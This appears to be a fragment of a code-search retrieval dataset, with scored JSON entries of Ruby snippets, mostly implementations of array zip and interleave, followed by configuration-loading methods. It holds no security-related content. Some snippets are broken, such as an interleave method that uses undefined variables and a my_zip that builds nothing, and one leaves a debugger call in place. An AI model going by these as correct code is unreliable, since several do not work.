"text": "def my_zip(*arrays)\n length = self.length \n new_array = []\n\n (0...length).each do |idx|\n sub_arr = []\n sub_arr << self[idx]\n\n arrays.each do |array|\n sub_arr << array[idx]\n end\n new_array << sub_arr\n end\n new_array\n end",
"title": ""
},
{
"docid": "6936c4e15bf57ba02482d5dff4830969",
"score": "0.7319156",
"text": "def zip(array_1, array_2)\n index = 0\n result = []\n\n loop do\n break if index == array_1.size\n result << [array_1[index], array_2[index]]\n index += 1\n end\n\n result\nend",
"title": ""
},
{
"docid": "2ef9cb9d76ec62fc53fe36555d029700",
"score": "0.73009825",
"text": "def my_zip(*args)\n dimension = self.length\n result = Array.new(dimension){Array.new(args.length+1)}\n\n self.each_with_index do |el, i|\n result[i][0] = el\n end\n\n for i in 0..args.length - 1\n args[i].each_with_index do |el, j|\n result[j][i+1] = el\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "a3ab33d3ea839dce3553cd0e3c78cb64",
"score": "0.7244768",
"text": "def my_zip(*arrays)\n return_array = []\n\n self.length.times do |index|\n temp_array = []\n temp_array << self[index]\n arrays.my_each { |array| temp_array << array[index] }\n return_array << temp_array\n end\n return_array\nend",
"title": ""
},
{
"docid": "1cac5a4708cb9a9ba73b636e4557b00b",
"score": "0.72369105",
"text": "def zip(*lists); end",
"title": ""
},
{
"docid": "c087fb624ca84ff53e4b75623c96312f",
"score": "0.72306097",
"text": "def zip(arr1, arr2)\n return [] if arr1.empty?\n [[arr1, arr2].map(&:first)] + zip(arr1.drop(1), arr2.drop(1))\nend",
"title": ""
},
{
"docid": "2ff15923b20d19449bba014ecbafbe2b",
"score": "0.72136503",
"text": "def zip(arr1, arr2)\n arr = []\n 0.upto(arr1.size - 1) do |idx|\n arr << [arr1[idx], arr2[idx]]\n end \n\n arr\nend",
"title": ""
},
{
"docid": "3679d2bb72809e38c1b9ee1919e0b42e",
"score": "0.7206224",
"text": "def zip(arr1, arr2)\n zipped = Array.new\n arr1.each_with_index { |el, idx| zipped << [el, arr2[idx]] }\n zipped\nend",
"title": ""
},
{
"docid": "0271b7125ae0a2cdbd1754db30bbbc7f",
"score": "0.7197516",
"text": "def zip(arr1, arr2)\n result = []\n 0.upto(arr1.size - 1) do |num|\n result << [arr1[num], arr2[num]]\n end\n result\nend",
"title": ""
},
{
"docid": "c03591ed186540d13cf96cbe5fc2437d",
"score": "0.71944183",
"text": "def my_zip(arr1, arr2)\r\n final = []\r\n if arr1.length == arr2.length\r\n size = arr1.length\r\n (0...size).each do |i|\r\n final << [arr1[i], arr2[i]]\r\n i += 1\r\n end\r\n end\r\n final\r\nend",
"title": ""
},
{
"docid": "7a944b6c18d974d64dc9352c27780531",
"score": "0.7191954",
"text": "def my_zip(*arrays)\n outer = []\n self.each_with_index do |el1, idx|\n sub = [self[idx]]\n arrays.each do |arr|\n sub << arr[idx]\n end\n outer << sub\n end\n outer\n end",
"title": ""
},
{
"docid": "8106ec425e9a8bda93fd5876c63e716c",
"score": "0.717959",
"text": "def my_zip(*arrays)\n res = []\n (0...self.length).each do |i|\n sub_arr = [self[i]]\n arrays.each {|arr| sub_arr << arr[i]}\n res << sub_arr \n end\n res \n end",
"title": ""
},
{
"docid": "f7d96d4d649341e377ffa0d820f9d956",
"score": "0.7177062",
"text": "def my_zip(*arr)\n ans = []\n self.each_with_index do |ele, idx|\n temp = []\n temp << ele\n arr.each {|ele2| temp << ele2[idx]}\n ans << temp\n end\n ans \n\n\n end",
"title": ""
},
{
"docid": "435a9dfc7dfaad08b6185330250a92b0",
"score": "0.71572655",
"text": "def custom_zip(arr1, arr2)\n final = []\n arr1.each_with_index do |value, index|\n final << [value, arr2[index]]\n end\n final\nend",
"title": ""
},
{
"docid": "4ac5744b38efdcf1bf855c5b99712b14",
"score": "0.7145163",
"text": "def my_zip(*args)\n # splat (*) lets you pass an array into a function expecting mulitple args\n new_arr = []\n self.length.times do |i|\n sub_arr = [self[i]]\n args.my_each { |e| sub_arr << e[i] }\n new_arr << sub_arr\n end\n new_arr\n end",
"title": ""
},
{
"docid": "04de8f28976969daa1c55caeccba45ea",
"score": "0.712284",
"text": "def my_zip(*args)\n res = []\n self.length.times do |i|\n res << [self[i]]\n args.each do |subarray|\n res[i] << subarray[i]\n end\n end\n\n res\n end",
"title": ""
},
{
"docid": "20e5b0f177bb0c6cb1ecbcdaef3b9268",
"score": "0.7074058",
"text": "def custom_zip(arr1, arr2)\n return_array = []\n arr1.each_with_index { |element, index| return_array << [element, arr2[index]]}\n return_array\nend",
"title": ""
},
{
"docid": "a2337c287fa12a696d81766e33a53b08",
"score": "0.70631826",
"text": "def my_zip(*arg)\n new_arr = Array.new(self.length) { Array.new(arg.length + 1, nil) }\n\n self.each_with_index do |ele, i|\n new_arr[i][0] = ele\n end\n\n arg.each_with_index do |arr, idx1| \n arr.each_with_index do |ele, idx2| \n if idx2 < self.length # if !idx2 > self.length \n # didn't work because !2 becomes false \n new_arr[idx2][idx1 + 1] = ele\n end\n end\n end\n\n new_arr\n end",
"title": ""
},
{
"docid": "c4f6936026f4075f1fe9af85f0c32063",
"score": "0.70494145",
"text": "def zip(*arrays)\n index = 0\n zipped_array = []\n while index < arrays[0].length\n zipped_array << arrays.map do |array|\n array[index]\n end\n index += 1\n end\n zipped_array\nend",
"title": ""
},
{
"docid": "8dfe1a834310ce2c240421f284fa404d",
"score": "0.70461774",
"text": "def zip(arr1, arr2)\n counter = 0 \n zip_arr = []\n\n while counter < arr2.size\n zip_arr << [arr1[counter], arr2[counter]]\n counter += 1\n end\n zip_arr\nend",
"title": ""
},
{
"docid": "81d05ade25b8c0f87ae8f73ad8bc9b43",
"score": "0.7019148",
"text": "def my_zip(*arrs)\n return_arr = []\n (0...self.length).each do |idx|\n sub_arr = [self[idx]]\n arrs.each { |sub| sub_arr << sub[idx] }\n return_arr << sub_arr\n end\n return_arr\n end",
"title": ""
},
{
"docid": "bc16ccac11b8f1bf9e36ba6f818f56d3",
"score": "0.7006014",
"text": "def zip(*others); end",
"title": ""
},
{
"docid": "bc16ccac11b8f1bf9e36ba6f818f56d3",
"score": "0.7006014",
"text": "def zip(*others); end",
"title": ""
},
{
"docid": "23b0deb68ed2900df555b44a5845d278",
"score": "0.6930511",
"text": "def custom_zip(arr1, arr2)\r\n new_arr = []\r\n arr1.each_with_index do |ele1, idx1|\r\n arr2.each_with_index do |ele2, idx2|\r\n if idx1 == idx2\r\n new_arr << [ele1, ele2]\r\n end\r\n end\r\n end\r\n return new_arr\r\nend",
"title": ""
},
{
"docid": "287aa02bbc2338a6878be809db22f235",
"score": "0.692505",
"text": "def my_zip(*arrays)\n zipped = Array.new(self.length) { [] }\n self.each.with_index do |ele, i|\n zipped[i] << ele\n arrays.each do |array|\n zipped[i] << array[i]\n end\n end\n return zipped\n end",
"title": ""
},
{
"docid": "897fd2647656a7b7b9a60b961a9a808b",
"score": "0.6922531",
"text": "def my_zip(*args)\n Array.new(self.length){\n \n args.each.with_index do |arr, i|\n self[i]\n arr[i]\n \n end\n }\nend",
"title": ""
},
{
"docid": "0bc50b4902a47ad456aa4a317484baa0",
"score": "0.69165075",
"text": "def zip first, second #functions name is zip, and first and second are lists to combine\n p first.zip(second).flatten.compact #zip the second onto the first (combining the arrays)\nend",
"title": ""
},
{
"docid": "e210d63fb64eb1163fecb64162a4b0b7",
"score": "0.6909888",
"text": "def zip(*others)\n out = Array.new(size) { [] }\n others = others.map { |ary| ary.to_a }\n\n size.times do |i|\n slot = out.at(i)\n slot << @tuple.at(@start + i)\n others.each { |ary| slot << ary.at(i) }\n end\n\n if block_given?\n out.each { |ary| yield ary }\n return nil\n end\n\n out\n end",
"title": ""
},
{
"docid": "5343c83185e7a99e3627a691569a6f90",
"score": "0.6909648",
"text": "def my_zip(*args)\n arr = Array.new(self.length) { Array.new }\n self.each_with_index do |ele, i|\n arr2 = []\n arr2 << ele\n args.each_with_index do |ele2, j|\n arr2 << args[j][i]\n end\n arr[i] += arr2 if arr2.length != 0\n end\n arr\n end",
"title": ""
},
{
"docid": "dce343a72720a00a6fb0e4f2a845cf14",
"score": "0.6866141",
"text": "def to_pairs(x, y, &block)\n n = min(x.size, y.size)\n (0...n).map {|i| block.call(x[i], y[i]) }\n end",
"title": ""
},
{
"docid": "74e7489429c49185b37e5fd6534b08e9",
"score": "0.683499",
"text": "def interleave(arr1, arr2)\n zipped = []\n (arr1.size).times do |idx| \n zipped << arr1[idx]\n zipped << arr2[idx]\n end\n zipped\nend",
"title": ""
},
{
"docid": "aecaa32d829e4db72a58669cb818c665",
"score": "0.68312967",
"text": "def interleave(input_arr1, input_arr2)\n # output_arr = []\n # (0...input_arr1.size).each do |i|\n # output_arr << input_arr1[i]\n # output_arr << input_arr2[i]\n # end\n\n output_arr = input_arr1.zip(input_arr2).flatten\nend",
"title": ""
},
{
"docid": "2d54e951c145e14fb319a83e262879b0",
"score": "0.6821668",
"text": "def task_1(a, b)\n a.zip(b).flat_map { |x, n| Array.new(n, x) }.reverse\nend",
"title": ""
},
{
"docid": "d4d5685077b9b1449617b37c6a384c11",
"score": "0.6814386",
"text": "def my_zip(*arrays)\n zipped = []\n self.length.times do |i|\n subzip = [self[i]]\n arrays.my_each {|array| subzip << array[i]}\n zipped << subzip\n end\n zipped\n end",
"title": ""
},
{
"docid": "3d777975a7fbb54f64b3a30a735f9940",
"score": "0.67913735",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\n binding.pry\nend",
"title": ""
},
{
"docid": "84b3aaa34d5fe137c58fd92d28ee3043",
"score": "0.6742859",
"text": "def interleave(arr1, arr2)\r\n result = arr1.zip(arr2).flatten\r\n result\r\nend",
"title": ""
},
{
"docid": "0ffe9f4254f85c557b9b89eea4ba5899",
"score": "0.6740934",
"text": "def interleave(arr, arr2)\n arr.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "618bf8016113ac21eb5dfca56fc9672d",
"score": "0.6740319",
"text": "def my_zip(*splt)\n zipped_array = []\n (0...self.length).to_a.my_each do |i|\n subarray = Array.new\n subarray << self[i]\n splt.my_each { |arg| subarray << arg[i] }\n zipped_array << subarray\n end\n zipped_array\n end",
"title": ""
},
{
"docid": "f5d01f51f1c465fa322157278d2db794",
"score": "0.67386425",
"text": "def zip(arr1, arr2)\n counter = 0\n zipped_arr = []\n\n loop do\n zipped_arr << [arr1[counter], arr2[counter]]\n counter += 1\n break if counter == arr1.size\n end\n\n zipped_arr\nend",
"title": ""
},
{
"docid": "4c1614cceb731318fca1976d4000b6be",
"score": "0.6733222",
"text": "def interleave(arr_1, arr_2)\n arr_1.zip(arr_2).flatten\nend",
"title": ""
},
{
"docid": "4c1614cceb731318fca1976d4000b6be",
"score": "0.6733222",
"text": "def interleave(arr_1, arr_2)\n arr_1.zip(arr_2).flatten\nend",
"title": ""
},
{
"docid": "05aef9db26ab9fcee9c2e477ca604ebe",
"score": "0.67331433",
"text": "def interleave(first_array, second_array)\n first_array.zip(second_array).flatten\n\nend",
"title": ""
},
{
"docid": "a226e9789a4435c9bff5e6ab44d11f70",
"score": "0.67298895",
"text": "def my_zip(*arrays)\n zipped = []\n self.length.times do |i|\n subzip = [self[i]]\n\n arrays.my_each do |array|\n subzip << array[i]\n end\n\n zipped << subzip\n end\n\n zipped\n end",
"title": ""
},
{
"docid": "d3cc6509f481e6aea37fd18d6c8287a3",
"score": "0.6709164",
"text": "def my_zip(*arrays)\n zipped = []\n\n self.length.times do |i|\n subzip = [self[i]]\n\n arrays.my_each do |arr|\n subzip << arr[i]\n end\n\n zipped << subzip\n end\n\n zipped\n end",
"title": ""
},
{
"docid": "947490534c8aee2a7ae9bf33185c083f",
"score": "0.6693235",
"text": "def clm_zip(*objs)\n args = objs.map do |obj| obj.to_a end\n res = self.to_a\n res.each_with_index do |val, i|\n ary = [val]\n args.each do |obj| ary.push(obj[i]) end\n if block_given?\n yield(*ary)\n else\n res[i] = ary\n end\n end\n res\n end",
"title": ""
},
{
"docid": "86479d1359f754978ebf0850115440eb",
"score": "0.6678114",
"text": "def interleave(array_1, array_2)\n array_1.zip(array_2).flatten\nend",
"title": ""
},
{
"docid": "63c57177c37d5d129f8858b11091455b",
"score": "0.66778183",
"text": "def interleave(arr1,arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "502095624be170157bc4e95ec128b89f",
"score": "0.6671077",
"text": "def interleave(arr1, arr2) \n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "d155d9877e40708e32befa2d600b30ca",
"score": "0.6664354",
"text": "def multiply_list_zip(arr1, arr2)\n arr1.zip(arr2).map { |sub_arr| sub_arr[0] * sub_arr[1] }\nend",
"title": ""
},
{
"docid": "9bede09ece996bbb9088fc31f8ca6bfe",
"score": "0.6661554",
"text": "def interleave(array1, array2)\n \narray1.zip(array2).flatten\n \n # result = []\n # array1.each_with_index{ |value, index|\n # result.push(array1[index], array2[index])\n # }\n \n #result\nend",
"title": ""
},
{
"docid": "96c1140451e6a39c04c3bb1507db9ff6",
"score": "0.6639375",
"text": "def custom_zip(arr_1, arr_2, arr_3)\n final = []\n arr_1.each_with_index { |e, index| final << [e, arr_2[index], arr_3[index]] }\n final\nend",
"title": ""
},
{
"docid": "fa02cff3cf5f61fc2e3231d5792054a4",
"score": "0.6633445",
"text": "def interleave1(arr, arr_1)\n arr.zip(arr_1).flatten\nend",
"title": ""
},
{
"docid": "2efc00e37ee5961dab26062bf858e8da",
"score": "0.662642",
"text": "def to_pairs\n ary = []\n self.step(2) do |a, b| ary.push([a, b]) end\n ary\n end",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.6621205",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "180d1004fe593ef5981aaecdcdc89767",
"score": "0.66206133",
"text": "def zip(*arrays)\n raise \"wrong argument\" if arrays.length == 0\n \n arr_length = arrays[0].length\n zipped = Array.new(arr_length) { Array.new }\n \n arrays.each do |array|\n array.each.with_index do |ele, idx|\n zipped[idx] << ele\n end\n end\n\n zipped\nend",
"title": ""
},
{
"docid": "a9abfd263ff9fc3735432f3824a9fc13",
"score": "0.66198885",
"text": "def python_zip(args)\n result = args.first.reduce([]){|r, i| r << []}\n args.each_with_index do |ary, i|\n ary.each_with_index {|v, j| result[j][i] = v}\n end\n result\n end",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.6603453",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "cbcbdd6ddd815db5c2ecf3c56487cc3b",
"score": "0.65949976",
"text": "def pairs\n seq = to_a\n seq.zip(seq[1..-1] + [to])\n end",
"title": ""
},
{
"docid": "423e244f3de2e4830ad3ea7ef6728f15",
"score": "0.65942985",
"text": "def multiply_list(arr1, arr2)\n final_arr = []\n arr1.zip(arr2) { |x, y| final_arr << x * y }\n final_arr\nend",
"title": ""
},
{
"docid": "461d838ea9d8efe8502f8c30aa207c33",
"score": "0.6591421",
"text": "def my_zip(*args)\n zipped = []\n\n 0.upto(self.length - 1) do |i|\n sub_array = [self[i]]\n args.each { |array| sub_array << array[i] }\n zipped << sub_array\n end\n\n zipped\n end",
"title": ""
},
{
"docid": "a2c4ab2e438738514b0e9196e8733e75",
"score": "0.6556778",
"text": "def interleave(a1, a2)\n a1.zip(a2).flatten\nend",
"title": ""
},
{
"docid": "5dc8d6fdd0a79f2c09d1c3fadc6172db",
"score": "0.6554111",
"text": "def interleave(arr1, arr2)\n test_array1.map.with_index { |el, idx| result << el << test_array2[idx] }\nend",
"title": ""
},
{
"docid": "320501a450bee98ef561d838f07bc8e1",
"score": "0.6533283",
"text": "def interleave4(arr1, arr2)\n result = []\n result << arr1 << arr2\n result.transpose.flatten\nend",
"title": ""
},
{
"docid": "73b561cb200905277405e0a1e3fca53d",
"score": "0.6526096",
"text": "def interleave(arr1, arr2)\n # new_arr = []\n # (0...arr1.length).each do |i|\n # new_arr << arr1[i]\n # new_arr << arr2[i]\n # end\n # alternative:\n # array1.each_with_index do |element, index|\n # new_arr << element << array2[index]\n # end\n # new_arr\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "9cf5d66aa3dc745fa4c99d7af694fd59",
"score": "0.6517551",
"text": "def interleave3(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "fcf6f896eb2e20bb3be3b2af41f28813",
"score": "0.65159297",
"text": "def interleave(a, b)\n a.zip(b).flatten\nend",
"title": ""
},
{
"docid": "ec9dda72ed411c1541b04aa80d28a31b",
"score": "0.64895034",
"text": "def zany_zip(*arrays)\n max_elements = arrays.max { |ele_1, ele_2| ele_1.length <=> ele_2.length}\n zipped = Array.new(max_elements.length) { Array.new }\n\n (0...arrays.length).each do |arr_idx|\n (0...max_elements.length).each do |ele_idx|\n zipped[ele_idx][arr_idx] = arrays[arr_idx][ele_idx]\n end\n end\n\n zipped\nend",
"title": ""
},
{
"docid": "f3316f3be5e38e32ba105b2bb843870b",
"score": "0.6473833",
"text": "def multiply_lists(array1, array2)\narray3 = []\narray1.zip(array2) { |a,b| array3 << a * b }\narray3\nend",
"title": ""
}
] |
1998a706bf6b818d19e22f6deec40301 | Don't know if I like doing this, but we want the configuration to be lazyloaded so as to be sure and give users a chance to set up their configurations. | [
{
"docid": "ec55e99539f78eb51846e5018c4a9abf",
"score": "0.6843282",
"text": "def initialize_if_necessary\n @config ||= Config.new\n end",
"title": ""
}
] | [
{
"docid": "4a4b72ce84d6ae815792242a0cd76435",
"score": "0.74756354",
"text": "def load_configuration\n # TODO\n end",
"title": ""
},
{
"docid": "49a3104004c715c1c0a6e1a3f9588b28",
"score": "0.7345636",
"text": "def load_config\n @@load_config ||= config_load_config\n end",
"title": ""
},
{
"docid": "4bfef9949a4a6a96054e96bf009f8157",
"score": "0.7168149",
"text": "def config\n @config ||= load_config\n end",
"title": ""
},
{
"docid": "bc617306ddf0f713178fea4141bf24f9",
"score": "0.7137543",
"text": "def load_config\n ConfigHelper.new(self).load\n end",
"title": ""
},
{
"docid": "86b961da5e3e3113161fe1d1ad7ad5a7",
"score": "0.70612895",
"text": "def initialize\n loadConfig\n end",
"title": ""
},
{
"docid": "892432af48f2f3e7f005c0af8c8f168d",
"score": "0.7019313",
"text": "def early_config\n @early_config ||= load\n end",
"title": ""
},
{
"docid": "d1f0fa339e0c96973ecb1bce9926574f",
"score": "0.70021",
"text": "def load\n # TODO: turn into some sort of lazy lookup\n config = {\n 'db' => {\n 'password' => @settings.try(:db).try(:password) || self.db_password,\n 'host' => @settings.try(:db).try(:host) || self.service(:db).target,\n }\n }\n if config[:redis]\n config['redis'] = {\n 'url' => @settings.try(:redis).try(:url) || \"redis://#{self.service(:redis).target}:#{self.service(:redis).port}\"\n }\n end\n config\n end",
"title": ""
},
{
"docid": "9716b5967bf73cc351a5082207a97890",
"score": "0.69812214",
"text": "def config\n @config ||= load_config\n end",
"title": ""
},
{
"docid": "b07fef56b00064601fceb42cf7ac45df",
"score": "0.69204915",
"text": "def configuration\n @configuration ||= initialize\n end",
"title": ""
},
{
"docid": "78c2b2c5fa04a0afe78b19b70c61ca11",
"score": "0.68973976",
"text": "def configuration\n cache_read(\"configuration\") || get_configuration\n end",
"title": ""
},
{
"docid": "3623beb75732cd9af449c1645ecbc138",
"score": "0.6893207",
"text": "def config\n @config ||= build_configuration\n end",
"title": ""
},
{
"docid": "2e602f8320edb0359a44cac54623595b",
"score": "0.6869996",
"text": "def initial_config\n raise \"Must be overridden by the including class\"\n end",
"title": ""
},
{
"docid": "b828d13930c70db20d8fd0af337bad65",
"score": "0.6869594",
"text": "def preconfigure\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b828d13930c70db20d8fd0af337bad65",
"score": "0.6869594",
"text": "def preconfigure\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b828d13930c70db20d8fd0af337bad65",
"score": "0.6869594",
"text": "def preconfigure\n yield(configuration)\n end",
"title": ""
},
{
"docid": "c468f22cada3ccd1d0cb05280624f09b",
"score": "0.67577624",
"text": "def _shared_configuration; end",
"title": ""
},
{
"docid": "c468f22cada3ccd1d0cb05280624f09b",
"score": "0.67577624",
"text": "def _shared_configuration; end",
"title": ""
},
{
"docid": "c468f22cada3ccd1d0cb05280624f09b",
"score": "0.67577624",
"text": "def _shared_configuration; end",
"title": ""
},
{
"docid": "b8f47fa7d943345ae93a5cfd17af172b",
"score": "0.67540157",
"text": "def server_side_config_options\n [:lazy_loading, :class_name]\n end",
"title": ""
},
{
"docid": "b8f47fa7d943345ae93a5cfd17af172b",
"score": "0.67540157",
"text": "def server_side_config_options\n [:lazy_loading, :class_name]\n end",
"title": ""
},
{
"docid": "4d0ac34acf9b1579f90e172641f6c94d",
"score": "0.67377174",
"text": "def configuration\n if @@configuration\n @@configuration\n else\n fail 'Attempted to access `configuration` before ' \\\n 'executing `load_configuration`'\n end\n end",
"title": ""
},
{
"docid": "a1570b4ad6198fe239bdeb07257f7eec",
"score": "0.6721578",
"text": "def config\n config = getConfiguration\n unless @configuration_loaded\n config.load\n @configuration_loaded = true\n end\n config\n end",
"title": ""
},
{
"docid": "548744663179ce3f741f5ab6a3958b2b",
"score": "0.6720707",
"text": "def config\n memoize(:config) do\n result = super\n result.fetch(:callbacks, :require, []).each do |c_loader|\n require c_loader\n end\n result\n end\n end",
"title": ""
},
{
"docid": "fcf7245d6f10dc3bec614c90dc9375b5",
"score": "0.67062116",
"text": "def loadConfig()\n return Template::Utils::ConfigLoader.loadConfig\n end",
"title": ""
},
{
"docid": "b7f9898dd47bd8f6b785af4d70db9897",
"score": "0.670311",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b7f9898dd47bd8f6b785af4d70db9897",
"score": "0.670311",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b7f9898dd47bd8f6b785af4d70db9897",
"score": "0.670311",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b7f9898dd47bd8f6b785af4d70db9897",
"score": "0.670311",
"text": "def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "b6ba3455937d880ed6e416e67206450b",
"score": "0.67020863",
"text": "def configure\n yield config if block_given?\n load\n end",
"title": ""
},
{
"docid": "31575c042996826b14c171c0c79c39d1",
"score": "0.6696587",
"text": "def configured()\n end",
"title": ""
},
{
"docid": "625fd64123cb9331c3a22b712311f96b",
"score": "0.66449594",
"text": "def configure!\n config\n end",
"title": ""
},
{
"docid": "6bbaed653918591fa46e34035b643ce8",
"score": "0.6638448",
"text": "def initialize\n @config = {}\n load_config\n end",
"title": ""
},
{
"docid": "565bb88ee876dc66707aaf77397c953d",
"score": "0.663365",
"text": "def init_simplified(load_saved_config=true)\n load_config if load_saved_config\n end",
"title": ""
},
{
"docid": "bd097a6308f3e06d8556e322ffe79ab5",
"score": "0.6631038",
"text": "def configure_if_not\n @@config ||= YAML::load(File.open(\"#{RAILS_ROOT}/config/sitemap.yml\"))\n end",
"title": ""
},
{
"docid": "e59a09785d216545c04093bfa5b2e170",
"score": "0.6604124",
"text": "def config\n initializer.configuration\n end",
"title": ""
},
{
"docid": "fc91b6cf080a4170f9c137bb66643090",
"score": "0.6582964",
"text": "def needs_configuration?; !@datastore.nil?; end",
"title": ""
},
{
"docid": "fc91b6cf080a4170f9c137bb66643090",
"score": "0.6582964",
"text": "def needs_configuration?; !@datastore.nil?; end",
"title": ""
},
{
"docid": "12d5d72b143c87ccf66454e544d4117f",
"score": "0.65778",
"text": "def config_store; end",
"title": ""
},
{
"docid": "229958152f6d82c2096f81f02166c87c",
"score": "0.6575217",
"text": "def configure\n yield Configuration.instance\n end",
"title": ""
},
{
"docid": "0f953667e051256c4a121211eca3daae",
"score": "0.6574599",
"text": "def config() self.class.config; end",
"title": ""
},
{
"docid": "8fa3bd1f5da266425fb2a58ed60f8092",
"score": "0.6570733",
"text": "def config\n @config ||= CONFIG\n end",
"title": ""
},
{
"docid": "703e818d36824e7d2e3982d605654e16",
"score": "0.65648836",
"text": "def configure\n self.configuration ||= Crudible::Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "9791363f31ba79d476b6e1be858c8338",
"score": "0.65627533",
"text": "def configuration\n yield config\n end",
"title": ""
},
{
"docid": "17ef81074466a772b7774f740334613c",
"score": "0.6558073",
"text": "def config\n @config ||= {}\n end",
"title": ""
},
{
"docid": "17ef81074466a772b7774f740334613c",
"score": "0.6558073",
"text": "def config\n @config ||= {}\n end",
"title": ""
},
{
"docid": "bbd3035cdec7aa29ec6be1440d7b6c97",
"score": "0.6555746",
"text": "def config\n @_config ||= self.class.config.inheritable_copy\n end",
"title": ""
},
{
"docid": "bbd3035cdec7aa29ec6be1440d7b6c97",
"score": "0.6555746",
"text": "def config\n @_config ||= self.class.config.inheritable_copy\n end",
"title": ""
},
{
"docid": "5404d53d920beb32f619fdd53fd244b0",
"score": "0.6550103",
"text": "def fetch_conf\n raise \"not implemented\"\n end",
"title": ""
},
{
"docid": "55af978794d152c6bcb52ac90e387cc4",
"score": "0.65487313",
"text": "def config\n @@config ||= {}\n end",
"title": ""
},
{
"docid": "fb1e27002ea5f6d77e9ecf9e82f42dc7",
"score": "0.65457726",
"text": "def setup\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"title": ""
},
{
"docid": "15eeaa0292c0df21c6df4251394de860",
"score": "0.65455425",
"text": "def configuration\n unless @configuration\n loaded = load_configuration\n config = HashWithIndifferentAccess.new(DEFAULT_CONFIG.merge(loaded))\n @configuration = config\n end\n @configuration\n end",
"title": ""
},
{
"docid": "a5fc6f200ecd0eb90f984d12ff27c7f8",
"score": "0.65403926",
"text": "def configure\n @config ||= Configuration.new\n yield(config)\n end",
"title": ""
},
{
"docid": "527db6ae635dc60dff973823548787e2",
"score": "0.6538443",
"text": "def config\n @config ||= load(environment)\n end",
"title": ""
},
{
"docid": "be66c241c46111e354ba6fbca2849745",
"score": "0.65358657",
"text": "def configure!\n config.configure!\n end",
"title": ""
},
{
"docid": "ae524927204e99306fcaf88527db6c06",
"score": "0.65328276",
"text": "def config\n yield self.configuration if block_given?\n self.configuration.config\n end",
"title": ""
},
{
"docid": "ae524927204e99306fcaf88527db6c06",
"score": "0.65328276",
"text": "def config\n yield self.configuration if block_given?\n self.configuration.config\n end",
"title": ""
},
{
"docid": "3d6d079a121a6b6d86b411a2a5084f66",
"score": "0.65281767",
"text": "def configure\n @yaml = ApplicationHelper.get_config_yaml\n end",
"title": ""
},
{
"docid": "bf1a554167bfaf1d18d453435026b915",
"score": "0.6526743",
"text": "def configure\n\t\tself.config ||= Config.new\n\t\tyield(self.config)\n\tend",
"title": ""
},
{
"docid": "7d9a73dfb5a1b81d4fc0ece344ae7f20",
"score": "0.65160364",
"text": "def config\n # Lazy creation is a common pattern\n # in ruby, generally done like this. Note that here the `@config` variable refers\n # to an instance variable of the module, not instances of classes including the\n # module. This is preferable to the (deprecated) @@cvar syntax for class/module\n # vars.\n @config ||= Config.new\n end",
"title": ""
},
{
"docid": "502f907acda2a770aa06642d9eb734d6",
"score": "0.65110797",
"text": "def config\n @config ||= configuration\n end",
"title": ""
},
{
"docid": "502f907acda2a770aa06642d9eb734d6",
"score": "0.65110797",
"text": "def config\n @config ||= configuration\n end",
"title": ""
},
{
"docid": "bd247e6adf479cef4840a926d76c5fc8",
